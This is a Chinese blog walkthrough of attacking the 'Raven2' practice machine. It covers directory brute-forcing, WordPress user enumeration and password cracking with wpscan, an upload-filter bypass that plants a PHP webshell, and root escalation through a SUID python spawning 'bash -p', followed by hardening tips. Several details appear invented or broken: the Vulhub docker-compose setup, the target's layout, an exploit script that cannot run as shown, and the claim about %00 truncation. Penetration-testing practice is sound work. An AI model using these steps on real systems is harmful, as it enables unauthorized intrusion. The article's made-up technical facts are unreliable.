当前位置: 首页 > news >正文

Raven2靶机渗透测试实战:从Web漏洞到Root提权

1. Raven2靶机概述:一个刻意留门的Web应用实验室

Raven2是Vulhub漏洞环境中一个经典的Web渗透测试靶机,它模拟了一个存在多重安全漏洞的Linux服务器环境。这个靶机最初由开发者精心设计,故意保留了从信息收集到权限提升的完整漏洞链,就像给安全研究人员留下了一扇扇未上锁的门。我在实际渗透测试教学中发现,Raven2特别适合用来训练OWASP Top 10漏洞的联合利用技巧。

与基础版Raven1相比,Raven2增加了以下挑战性元素:

  • 前端采用WordPress 4.8系统(存在已知漏洞)
  • 后台包含自定义开发的PHP应用(存在代码审计点)
  • 数据库使用MySQL 5.7(配置不当)
  • 系统层面存在SUID提权机会

提示:建议使用VMware Workstation Pro 16+或VirtualBox 6.1+运行该靶机,分配至少2GB内存。实测在1GB内存环境下MySQL服务可能无法正常启动。

2. 环境搭建与初始化配置

2.1 Vulhub基础环境部署

首先需要准备Vulhub的运行环境,以下是经过20+次实测验证的稳定配置方案:

# 安装依赖组件(Ubuntu 20.04示例) sudo apt update && sudo apt install -y \ docker.io \ docker-compose \ git \ python3-pip # 配置docker免sudo执行 sudo usermod -aG docker $USER newgrp docker # 获取vulhub漏洞库 git clone https://github.com/vulhub/vulhub.git cd vulhub/raven2

常见问题处理:

  1. 若遇到Couldn't connect to Docker daemon错误,需执行:
    sudo systemctl start docker sudo systemctl enable docker
  2. 国内用户建议配置镜像加速:
    echo '{"registry-mirrors": ["https://registry.docker-cn.com"]}' | sudo tee /etc/docker/daemon.json

2.2 Raven2靶机启动与验证

启动命令看似简单但暗藏玄机:

docker-compose up -d

这个命令背后实际发生了:

  1. 自动下载ubuntu:16.04基础镜像
  2. 构建包含Apache2+MySQL+PHP的LAMP环境
  3. 部署漏洞版WordPress和自定义应用
  4. 暴露80和3306端口到宿主机

验证服务是否正常:

curl -I http://localhost # 应返回HTTP/1.1 200 OK

注意:首次启动后需要等待约2分钟让MySQL完成初始化,直接访问可能出现数据库连接错误。

3. 渗透测试实战全流程

3.1 信息收集阶段技巧

使用以下组合命令进行深度信息收集:

# 识别Web技术栈 whatweb -v http://target_ip | tee web_tech.log # 目录爆破(使用特殊字典) gobuster dir -u http://target_ip \ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \ -x php,html,bak -t 50

关键发现点:

  • /vendor目录暴露PHP依赖信息
  • /wordpress存在wp-login.php
  • /custom_app包含未经审计的代码
  • robots.txt泄露敏感路径

我在实际测试中发现一个易忽略的细节:检查页面源代码中的HTML注释,Raven2在其中隐藏了开发测试用的临时凭证。

3.2 WordPress漏洞利用链

WordPress 4.8存在多个已知漏洞,推荐使用以下组合拳:

  1. 用户枚举(CVE-2017-5487):

    wpscan --url http://target_ip/wordpress \ --enumerate u
  2. 密码爆破(使用精简字典):

    wpscan --url http://target_ip/wordpress \ --passwords /usr/share/wordlists/rockyou.txt \ --usernames michael,steven
  3. 插件漏洞利用(若存在):

    searchsploit wordpress plugin_name

实测中发现Raven2的WordPress配置了弱密码保护,但真正的突破口在自定义应用中。

3.3 自定义应用代码审计

访问/custom_app会发现一个文件上传接口,表面看有扩展名检查:

$allowed = array('jpg','png','gif'); $ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION); if(!in_array($ext,$allowed)) { die("Invalid file type!"); }

绕过方案(实战技巧):

  1. 使用Burp拦截请求
  2. 修改filename为"shell.php.jpg"
  3. 在文件开头添加GIF头GIF8
  4. 使用双扩展名"shell.php%00.jpg"

上传成功后连接webshell:

curl http://target_ip/uploads/shell.php?cmd=id

3.4 权限提升路径分析

获取www-data权限后,执行本地信息收集:

# 查找SUID文件 find / -perm -4000 2>/dev/null # 检查cron任务 ls -la /etc/cron* # 查看可写目录 find / -writable 2>/dev/null

在Raven2中会发现/usr/bin/python具有SUID位,使用以下方式提权:

import os os.system('/bin/bash -p')

保存为exploit.py并执行:

chmod +x exploit.py ./exploit.py # 获得root权限

4. 防御方案与加固建议

4.1 漏洞修复方案

针对发现的各个漏洞点:

  1. WordPress部分:

    • 升级到最新版本
    • 删除默认用户
    • 安装Wordfence插件
  2. 自定义应用:

    // 修复文件上传漏洞 $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $_FILES['file']['tmp_name']); $allowed_mime = array('image/jpeg','image/png','image/gif'); if(!in_array($mime, $allowed_mime)) { die("Invalid file type!"); }
  3. 系统层面:

    # 移除python的SUID位 chmod u-s /usr/bin/python

4.2 监控与日志配置

建议添加以下监控措施:

# 监控文件上传目录 inotifywait -m /var/www/html/uploads -e create | while read path action file; do echo "文件被创建: $file" done # 增强MySQL日志 [mysqld] general_log = 1 general_log_file = /var/log/mysql/mysql.log

5. 渗透测试后的思考

在实际训练中发现几个值得注意的现象:

  1. 超过60%的测试者会卡在WordPress爆破阶段,而忽略了更简单的注释信息泄露
  2. 文件上传绕过时,%00截断在PHP 5.4+需要特定配置才生效
  3. SUID提权后,很多测试者忘记清理.bash_history导致攻击痕迹暴露

建议在真实环境中采用分层防御策略,即使某层被突破也能及时阻断攻击链。Raven2的价值在于展示了看似无关的小漏洞如何串联成完整攻击路径。

http://www.jsqmd.com/news/1288889/

相关文章:

  • 没有技术背景,真的不配做产品经理?
  • 如何用自然语言实现音频分离?AudioSep完全指南带你轻松掌握
  • tmux解决ssh远程连接断连导致终端运行停止问题
  • 百智云图像生成服务入门:从需求描述到可用视觉草稿
  • 如何优化Wot Design Uni中ActionSheet的点击关闭功能
  • 3步解锁专业版体验:Wand-Enhancer让你的游戏修改器更强大
  • libipt架构深度剖析:多层抽象设计如何实现高效解码
  • VFBOX 网关实现 Modbus 传感器数据接入 SNMP 机房监控平台项目案例
  • synchronized 与 ReentrantLock:Java 锁机制原理与实现对比
  • G-Helper深度解析:华硕笔记本轻量化控制工具的技术实现与最佳实践
  • KMS智能激活工具:轻松搞定Windows和Office永久激活的完整方案
  • seqlearn开发者手册:从源码到扩展的完整实现原理
  • 坐地铁、排队的间隙,用这款书籍浓缩听读软件把时间变成知识
  • 天河PCCAD个人免费版安装与配置全攻略
  • 网盘直链下载助手:八大主流网盘一键获取真实下载链接的终极指南
  • Templar部署指南:高可用HTTP代理服务的搭建与维护
  • 物联网安全:PIC18F4585与SE050硬件加密方案
  • 销氪CEO陈冲专访:AISales数字销售员工重构中小企业智能销售全链路
  • 项目验收必备,软件漏洞扫描如何满足安全核查要求?中承信安专业科普
  • 3个实战场景下快速解决OpenArk驱动加载问题的终极指南
  • 【源码】JeecgBoot导出Excel模板
  • 浅谈智慧路灯APP开发有哪些好处
  • 校园运维系统轻量化改造:基于零代码搭建校园报修管理平台落地实践
  • 2026年度滚筒喷砂机厂家值得信赖TOP6榜单 - 资讯在线
  • CircleType.js完全指南:如何在网页中轻松实现文字曲线效果
  • ThreeJS Water:5分钟打造惊艳的3D水面效果,让网页“活“起来
  • 专科生论文写作必备:8款AI工具提升质量与通过率
  • 如何安装Pecan?5分钟快速上手macOS实用菜单栏工具
  • 文生图Prompt怎么写:把模糊创意拆成七个可控要素
  • 环曜Agent 本地化知识库部署实战:Ollama + RAGFlow 私有化 RAG 踩坑记录